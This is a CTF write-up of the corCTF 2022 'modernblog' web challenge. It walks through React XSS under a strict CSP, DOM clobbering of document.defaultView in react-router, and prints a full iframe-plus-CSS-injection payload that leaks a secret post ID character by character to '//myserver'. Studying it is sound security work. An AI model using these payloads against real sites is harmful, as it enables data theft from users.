我最近正好奇著大家讀完我的技術文章後的感想,有空的話可以幫我填一下:表單連結

corCTF 2022 writeup - modernblog

At first, I had no intention of writing a post about this challenge because the author already had a greate one: corCTF 2022 Challenge Writeups. But, it’s my first time being the only solver for a challenge, it’s still worth writing one.

In this post, I will talk about how I tackled the challenge in the first place and how I solved it in the end.

About the challenge

index page

modernblog is a simple blog website built with React for Front-end, Node.js and Express for Back-end.

The feature is simple, just like other CTF challenges, you can register, login, and create a post. Following is the screenshot of /home page, which shows all your posts:

posts page

There is a bot that you can submit an URL and it will visit. When you see a browser bot, it means the challenge is usually about client-side vulnerability.

The code for the bot is simple, just log in as admin and visit the provided valid URL(only URL that starts with http:// or https:// is allowed):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// npm i puppeteer
// script to emulate admin bot

const puppeteer = require("puppeteer");

const USERNAME = "YOUR_USER";
const PASSWORD = "TEST_PASSWORD";
const SITE = "https://modernblog.be.ax";

const visit = async (url) => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});

let page = await browser.newPage();
await page.goto(SITE + "/login", { timeout: 3000, waitUntil: 'domcontentloaded' });

await page.type("input[name=user]", USERNAME);
await page.type("input[name=pass]", PASSWORD);
await page.click("button[type=submit]");

await page.waitForTimeout(3000);

await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await page.waitForTimeout(5000);

await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};

visit("TARGET_URL");

The flag is in a post owned by the admin, created when the server is on:

1
2
3
4
5
6
7
8
9
10
11
12
13
(() => {
const flagId = crypto.randomBytes(6).toString("hex");
const flag = process.env.FLAG || "flag{test_flag}";
users.set("admin", {
pass: sha256(process.env.ADMIN_PASSWORD || "test_password"),
posts: Object.freeze([flagId]),
});
posts.set(flagId, {
id: flagId,
title: "Flag",
body: flag,
});
})();

There is no permission check for viewing a post, it means that if we know flagId, we can see the content and get the flag.

The front-end codebase is small, and only one obvious vulnerability when rendering a post:

1
2
3
{/* CSP is on, so this should be fine, right? */}
{/* Clueless */}
<div dangerouslySetInnerHTML={{ __html: body }}></div>

The project is built with React, a popular library made by Meta(Facebook). Everything you render in React will be escaped automatically(it’s great for developers) unless you use a very long attribute name: dangerouslySetInnerHTML. As the name implies, you can set innerHTML via this attribute.

React team chose this name on purpose, because they want you to know that this attribute is dangerous and prone to XSS.

So, now we have an XSS, just do <svg onload> and leak the flag?

Not yet, don’t forget the CSP.

CSP Bypass

Here is the CSP for this challenge:

1
2
3
4
5
6
7
8
9
10
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"script-src 'self'; object-src 'none'; base-uri 'none';"
);
if (req.session.user && users.has(req.session.user)) {
req.user = users.get(req.session.user);
}
next();
});

You can’t inject your script because of the CSP, and this CSP is quite strict. When it comes to the client-side challenge, CSP is usually a good hint. I can think of a few techniques that it’s allowed from this CSP:

  1. CSS injection (<style> and image are allowed)
  2. DOM clobbering (input is not sanitized)
  3. <meta> tag
  4. Inject the script in same origin (self is allowed)
  5. <iframe> is allowed

First thoughts - CSS injection

My first idea is about CSS injection.

If we can inject the style into the /home page which renders all the posts, we can steal the href which is flagId by doing this:

1
2
3
4
5
6
7
8
9
a[href^="/post/0"] {
background: url(//myserver?c=0);
}

a[href^="/post/1"] {
background: url(//myserver?c=1);
}

// ...

But, is it possible?

When the admin bot visits our URL, it’s /post/random_id, we can inject the style on this page for sure, but when we change the location to /home, the injected style is cleared. It seems not work.

How about iframe?

I know the style won’t affect the content in an iframe if it’s cross-origin, how about same-origin? Can we affect the style of an same-origin iframe? Although I think it’s not possible, I still spent some times to explore this option. But, this way also not work in the end.

Other approaches

DOM clobbering seems useless here, becasue I have never seen any DOM clobbering gadgets for React. Also, this React app uses no global variable.

How about meta tag?

I have seen some challenges abusing <meta> tag to do redirection and use Referer header to leak the URL, is it useful here? Probably not. Because it’s meaningless to leak the URL here unless the admin bot clicks the post. I also checked the spec for meta tag to find is there are any unknown attributes, and found nothing in the end.

How about XSLeaks? Can we leak the href?

I tried to recall all the XSLeaks challenges I have seen, and I thought XSLeaks is also not helpful for this challenge. The reason is simple, how can we leak the href attribute? If the flagId is shown on the page, maybe we can try to leak it, but flagId is not even shown on the page, not possible to leak it.

After thinking of so many ways but finding nothing useful, I decided to move my focus back to the script element.

self script

I thought that maybe there is an API in back-end which outputs arbitrary content so that I can use that API as a source of script, like JSONP. It’s allowed because it’s same-origin. For example, <script src="/apis/example?content=alert(1)">

By the way, loads a script via innerHTML is useless because the script won’t get executed according to the spec.

So we need to use <iframe srcdoc>, like this: <iframe srcdoc="<script src='...'>"></iframe>

Here are all the APIs in the back-end:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
app.post("/api/login", (req, res) => {
let { user, pass } = req.body;
if (
!user ||
!pass ||
typeof user !== "string" ||
typeof pass !== "string"
) {
return res.json({
success: false,
error: "Missing username or password",
});
}

if (!users.has(user)) {
return res.json({
success: false,
error: "No user exists with that username",
});
}

if (users.get(user).pass !== sha256(pass)) {
return res.json({ success: false, error: "Invalid password" });
}

req.session.user = user;
res.json({ success: true });
});

app.post("/api/register", (req, res) => {
let { user, pass } = req.body;
if (
!user ||
!pass ||
typeof user !== "string" ||
typeof pass !== "string"
) {
return res.json({
success: false,
error: "Missing username or password",
});
}

if (user.length < 5 || pass.length < 7) {
return res.json({
success: false,
error: "Please choose a longer username or password",
});
}

if (users.has(user)) {
return res.json({
success: false,
error: "A user exists with that username",
});
}

req.session.user = user;
users.set(user, {
pass: sha256(pass),
posts: [],
});

res.json({ success: true });
});

const requiresLogin = (req, res, next) =>
req.user
? next()
: res.json({ success: false, error: "You must be logged in!" });

app.post("/api/create", requiresLogin, (req, res) => {
if (req.session.user === "admin") {
return res.json({ success: false, error: "uhhhhh... no" });
}

let { title, body } = req.body;
if (
!title ||
!body ||
typeof title !== "string" ||
typeof body !== "string"
) {
return res.json({ success: false, error: "Missing title or body" });
}

let id = crypto.randomBytes(6).toString("hex");

posts.set(id, { id, title, body });
req.user.posts.push(id);

res.json({ success: true });
});

app.post("/api/posts", requiresLogin, (req, res) => {
return res.json({
success: true,
data: req.user.posts.map((id) => posts.get(id)),
});
});

app.get("/api/post/:id", requiresLogin, (req, res) => {
let { id } = req.params;
if (!id) {
return res.json({ success: false, error: "No id provided" });
}
if (!posts.has(id)) {
return res.json({
success: false,
error: "No post was found with that id",
});
}
return res.json({ success: true, data: posts.get(id) });
});

app.get("*", (req, res) => res.sendFile("index.html", { root: "public" }));

There are only two endpoints for GET:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.get("/api/post/:id", requiresLogin, (req, res) => {
let { id } = req.params;
if (!id) {
return res.json({ success: false, error: "No id provided" });
}
if (!posts.has(id)) {
return res.json({
success: false,
error: "No post was found with that id",
});
}
return res.json({ success: true, data: posts.get(id) });
});

app.get("*", (req, res) => res.sendFile("index.html", { root: "public" }));

The first one is rendered with res.json, so its content type is application/json, impossible to make it a valid script. The second one is for rendering static files, which are also useless.

How about other script types?

Other script types

I wrote a post about different script types: How much do you know about script type? .

Besides normal scripts, there are a few unpopular types:

  1. webbundle
  2. importmap
  3. speculationrules

For webbundle, you can load a wbn file and specify resources. When the browser wants to load these resources, it loads from wbn file first instead of sending a request to the server.

1
2
3
4
5
6
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>

For importmap, you can specify the alias for importing script:

1
2
3
4
5
6
7
8
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

When you use import * from memoent, it’s actually import from /node_modules/moment/src/moment.js.

Unfortunately, both do not work. Because it’s still considered as an inline script, thus blocked by the CSP.

After trying all the approaches I mentioned above, it was already late, so I went to bed. When I was about to sleep, one thing came to my mind:

How about including index.js again? So that I can render another React app in an iframe, maybe combined with DOM clobbering to mess up something?

Render a React app inside a React app

The next morning, I tried this approach immediately, and it worked to some extent:

1
2
3
4
<iframe srcdoc="
<div id=root></div>
<script type=module crossorigin src=/assets/index.7352e15a.js></script>
" height="1000px" width="500px"></iframe>

error

The script is loaded but something wrong with react-router, here is the exception:

DOMException: Failed to execute ‘replaceState’ on ‘History’: A history state object with URL ‘about:srcdoc’ cannot be created in a document with origin ‘http://localhost:8080' and URL ‘about:srcdoc’.

To know why this exception occurs, we need to know how routing is implemented in this app.

There is a library called react-router, which is very popular for dealing with routing in React. We can see it’s usage in main.jsx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ReactDOM.createRoot(document.getElementById('root')).render(
<React.StrictMode>
<ChakraProvider>
<BrowserRouter>
<Routes>
<Route path="/" element={<Index />} />
<Route path="/register" element={<Register />} />
<Route path="/login" element={<Login />} />
<Route path="/home" element={<Home />} />
<Route path="/post/:id" element={<Post />} />
</Routes>
</BrowserRouter>
</ChakraProvider>
</React.StrictMode>
);

It’s just a simple mapping, for example, /home renders <Home /> component.

When you click a link and navigate to another page, it’s not actually the “page” in the sense of the traditional web. On traditional web, when clicking a link and navigating to another page, the browser sends another GET request to the server, and the server returns the response, then the browser renders the response with a new URL.

In React, or more precisely, in every SPA(Single Page Application), the routing is handled by history object, not browser. So, when you click a link to /home, the browser will not send a new request to the server. How about the URL? We use history.pushState or history.replaceState to update the URL to make it looks like another “page”.

From the exception, we know it’s something to do with replaceState.

When <BrowserRouter> is mounted, it calls createBrowserHistory, following is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
export function createBrowserHistory(
options: BrowserHistoryOptions = {}
): BrowserHistory {
let { window = document.defaultView! } = options;
let globalHistory = window.history;

function getIndexAndLocation(): [number, Location] {
let { pathname, search, hash } = window.location;
let state = globalHistory.state || {};
return [
state.idx,
readOnly<Location>({
pathname,
search,
hash,
state: state.usr || null,
key: state.key || "default",
}),
];
}

// ignore...

let action = Action.Pop;
let [index, location] = getIndexAndLocation();
let listeners = createEvents<Listener>();
let blockers = createEvents<Blocker>();

// error becasue of here
if (index == null) {
index = 0;
globalHistory.replaceState({ ...globalHistory.state, idx: index }, "");
}
}

index is null, so it calls globalHistory.replaceState and triggers the error. The URL of iframe is about:srcdoc, replaceState is not a valid operation.

My first idea is, can we use DOM clobbering to manipulate index? So that index == null is false, then globalHistory.replaceState is not called.

DOM clobbering

From the code above, we know that index is actually window.history.state.idx. history already exists, so we can’t clobber window.history. We can only clobber a non-exist property on window, like window.DEV or window.ctf.

But if you look carefully, there is another interesting part at the beginning:

1
let { window = document.defaultView! } = options;

window is from document.defaultView. Although we can’t clobber window.history, we can clobber document.defaultView.history, like this:

1
2
3
<form name="defaultView">
<img name="history">
</form>

document.defaultView.history is <img name="history">.

But, we need to clobber document.defaultView.history.state.idx, it’s deeper. We need iframe to achieve this.

For example, the following payload generated by DOM Clobber3r clobber document.a.b.c.d:

1
2
3
4
5
6
7
<iframe name=a srcdoc="
<iframe name=b srcdoc=&quot;
<iframe name=c srcdoc=&amp;quot;
<a id='d'></a>
&amp;quot;></iframe>
&quot;></iframe>
"></iframe>

So, let’s update this to document.defaultView.history.state.idx:

1
2
3
4
5
6
7
<iframe name=defaultView srcdoc="
<iframe name=history srcdoc=&quot;
<iframe name=state srcdoc=&amp;quot;
<a id='idx'></a>
&amp;quot;></iframe>
&quot;></iframe>
"></iframe>

After trying this in the browser, I realized it was not working.

Because document.defaultView is the window object of the iframe, so document.defaultView.history is the built-in history object instead of <iframe name=history>. We go back to what we started, we can’t clobber window.history because it’s already there.

At that moment, I also realized another thing.

Since document.defaultView is the window object of the iframe, what if I inject something like <iframe name=defaultView src="/home">?

By doing so, document.defaultView.history is the history object of the home page!

I tried this way immediately, and here is the result:

result

That’s amazing, I successfully render another React app with a different URL.

Here is the HTML code:

1
2
3
4
5
6
7
8
9
<iframe srcdoc="
iframe /home below<br>
<iframe name=defaultView src=/home></iframe><br>
iframe /home above<br>

react app below<br>
<div id=root></div>
<script type=module crossorigin src=/assets/index.7352e15a.js></script>
" height="1000px" width="500px"></iframe>

This works because react-router tries to use document.defaultView.history to manipulate the URL, including loading the correct page. Since we clobber document.defaultView, the document.defaultView.history is the history of /home page now, thus render /home page instead of /.

Do you remember what I said at the beginning? I said that if we can inject style to /home page, it’s trivial to use CSS injection to steal the href attribute, it’s exactly the case now.

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<iframe srcdoc="
iframe /home below<br>
<iframe name=defaultView src=/home></iframe><br>
iframe /home above<br>
<style>
a[href^="/post/0"] {
background: url(//myserver?c=0);
}

a[href^="/post/1"] {
background: url(//myserver?c=1);
}

</style>

react app below<br>
<div id=root></div>
<script type=module crossorigin src=/assets/index.7352e15a.js></script>
" height="1000px" width="500px"></iframe>

We can leak 1 or 2 chars for each submission. After a few submissions, we can leak the whole flagId and get the flag.

Conclusion

This challenge is pretty cool, and it’s indeed a new way to exploit DOM clobbering, bring this to another level. More importantly, this bug is in a real-world library, a mainstream library to handle routing in React ecosystem.

Kudos to the author @Strellic_ for making such a fantastic challenge. I really liked and enjoyed it.

Intigriti 0822 XSS Challenge Author Writeup Insecure Deserialization in JavaScript: GoogleCTF 2022 Web/HORKOS Writeup

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×